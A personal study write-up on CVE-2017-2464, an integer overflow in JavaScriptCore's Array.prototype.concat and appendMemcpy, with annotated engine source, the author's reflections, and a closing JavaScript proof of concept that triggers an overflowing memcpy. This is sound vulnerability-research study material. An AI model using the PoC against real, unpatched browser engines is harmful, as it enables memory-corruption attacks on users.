Notes on CVE-2017-2464

This is an attempt I made somewhere around April in 2019 at finding an already known vulnerability. More specifically, these are the notes I took while trying to come up with a clear idea of what the problem was with the following piece of code. Such attempt was made only being aware of the existence of said vulnerability (an integer overflow).

git rev-list -1 --before="2017-01-20 12:00" master

function concatSlowPath()
{
    "use strict";

    if (this == null)
        @throwTypeError("Array.prototype.concat requires that |this| not be null or undefined");

    var currentElement = @Object(this);

    var constructor; This block isn't too interesting, it is used to get the constructor of the object that called ".concat"
    if (@isArray(currentElement)) {
        constructor = currentElement.constructor;
        if (@isArrayConstructor(constructor) && @Array !== constructor) We have this check so that if some array from a different global object calls this map they don't get an array with the Array.prototype of the other global object
            constructor = @undefined;
        else if (@isObject(constructor)) {
            constructor = [email protected];
            if (constructor === null)
                constructor = @Array;
        }
    }

    var argCount = arguments.length;
    var result;
    if (constructor === @Array || constructor === @undefined) non-array objects can too call concat, so before proceeding any further, make sure 'result' is the of the same type as *this
        result = @newArrayWithSize(0);
    else
        result = new constructor(0);
    
    var resultIsArray = @isJSArray(result);This will be later used to decide which path to take

    var resultIndex = 0;
    var argIndex = 0;

    do {
        let spreadable = @isObject(currentElement) && [email protected];This is the codepath of interest as the else clause explicitly checks for overflows
        if ((spreadable === @undefined && @isArray(currentElement)) || spreadable) { 
            let length = @toLength(currentElement.length);
            if (resultIsArray && @isJSArray(currentElement)) { Again, this kind of overflow can only be triggered with arrays
                @appendMemcpy(result, currentElement, resultIndex); appendMemcpy is probably safe, though it is called in the wrong way
                resultIndex += length;
            } else {
                if (length + resultIndex > @MAX_SAFE_INTEGER)
                    @throwTypeError("length exceeded the maximum safe integer");
                for (var i = 0; i < length; i++) {
                    if (i in currentElement)
                        @putByValDirect(result, resultIndex, currentElement[i]);For non-array objects that can be iterated upon, follow a slightly different road @putByValDirect(values, index, argument);
                    resultIndex++;
                }
            }
        } else {
            if (resultIndex >= @MAX_SAFE_INTEGER)
                @throwTypeError("length exceeded the maximum safe integer");
            @putByValDirect(result, resultIndex++, currentElement);
        }
        currentElement = arguments[argIndex];
    } while (argIndex++ < argCount);

    result.length = resultIndex; what if the vunlerability consists in increasing resultIndex
    return result;
}

bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
    auto scope = DECLARE_THROW_SCOPE(vm);

    if (!canFastCopy(vm, otherArray)) I can only copy in the fast way
        return false;

    // A memcpy is being called. In order to do the copy,
    // everything from type to size must be the same. In
    // order to figure out how much mem to allocate, and
    // how to use it, it is necessary to know how the object
    // is layed out first.
    IndexingType type = indexingType();
    IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());

    if (type == ArrayWithUndecided && copyType != NonArray) { ⊕Depending on the type of the array to be copied, take a different path
        if (copyType == ArrayWithInt32)
            convertUndecidedToInt32(vm);
        else if (copyType == ArrayWithDouble)
            convertUndecidedToDouble(vm);
        else if (copyType == ArrayWithContiguous)
            convertUndecidedToContiguous(vm);
        else {
            ASSERT(copyType == ArrayWithUndecided);
            return true;
        }
    } else if (type != copyType)
        return false;

    unsigned otherLength = otherArray->length();
    unsigned newLength = startIndex + otherLength;
    if (newLength >= MIN_SPARSE_ARRAY_INDEX)
        return false;
 
    if (!ensureLength(vm, newLength)) { make sure the array is contiguous
        throwOutOfMemoryError(exec, scope);
        return false;
    }
    ASSERT(copyType == indexingType());

    if (type == ArrayWithDouble)
        memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
    else
        memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);

    return true;
}

Feedback:

 Both [?] were correct.
 
 -> Why did I not find the vulnerability ?

    the lack of context in jsc's codebase
    definitely made things harder. The
    main reason i did not know

    unsigned newLength = startIndex + otherLength

    is a vulnerable thing, because i didn't connect
    the memcpy call to the very short buffer. Had I
    thought about how memcpy interacts with the length
    of the buffer I should would have found it

// PoC

var a = []; 
a.length = 0xffffff00;
var b = a.splice(0, 0x100000); // Undecided array

var args = [];
args.length = 4094;
args.fill(b);

var q = [];
q.length = 0x1000;
q.fill(7);

var c = a.splice(0, 0xfffef); //Shorter undecided array

args[4094] = c;
args[4095] = q;


b.concat.apply(b, args);

⊕Changelog
• 12/01/2021: Sidenotes